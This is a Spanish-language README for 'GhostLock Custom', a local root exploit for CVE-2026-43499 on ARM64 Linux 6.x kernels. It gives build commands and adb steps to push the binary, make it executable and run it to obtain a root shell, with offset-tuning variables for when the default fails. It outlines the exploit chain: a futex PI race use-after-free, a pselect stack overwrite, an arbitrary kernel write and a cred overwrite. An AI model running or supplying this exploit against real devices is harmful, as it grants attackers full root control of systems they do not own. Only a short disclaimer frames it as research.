GhostLock Custom — Versión adaptada para CVE-2026-43499

Exploit de elevación de privilegios GhostLock (CVE-2026-43499) para kernels Linux 6.x ARM64 no Android.

Características del kernel

Compilación

Compilación local (requiere compilador cruzado)

make

Compilación con Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (compilación en la nube)

La compilación se activa automáticamente tras el push; basta con descargar el artifact.

Uso

# Enviar al dispositivo de destino
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Obtener shell root
adb shell /data/local/tmp/e --shell

# Ajustar el desplazamiento pselect (si el valor predeterminado no funciona)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Especificar la dirección de carga física
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Variables de entorno

Principio de la elevación de privilegios

1. Carrera futex PI: FUTEX_CMP_REQUEUE_PI desencadena la UAF de remove_waiter()
2. Sobrescritura de la pila pselect: el rt_mutex_waiter liberado termina en el búfer stack_fds
3. Escritura en el árbol PI: mediante un fake waiter construido se logra escribir en direcciones arbitrarias del kernel
4. Sobrescritura de cred: sobrescribe task_struct->cred con init_cred

Notas de adaptación

Esta versión es una versión reducida de ghostlock-oneplus:

• Código de desactivación de SELinux eliminado (este kernel no tiene SELinux)
• Código relacionado con ashmem/configfs eliminado (este kernel no tiene estos componentes)
• Código de instalación de KernelSU eliminado
• Fuga SLIDE KASLR eliminada (no hay loggers/nfulnl_logger)
• Código específico de Android eliminado (miniADB, etc.)

Solución de problemas

Aviso legal

Esta herramienta es solo para investigación de seguridad. El usuario asume toda la responsabilidad.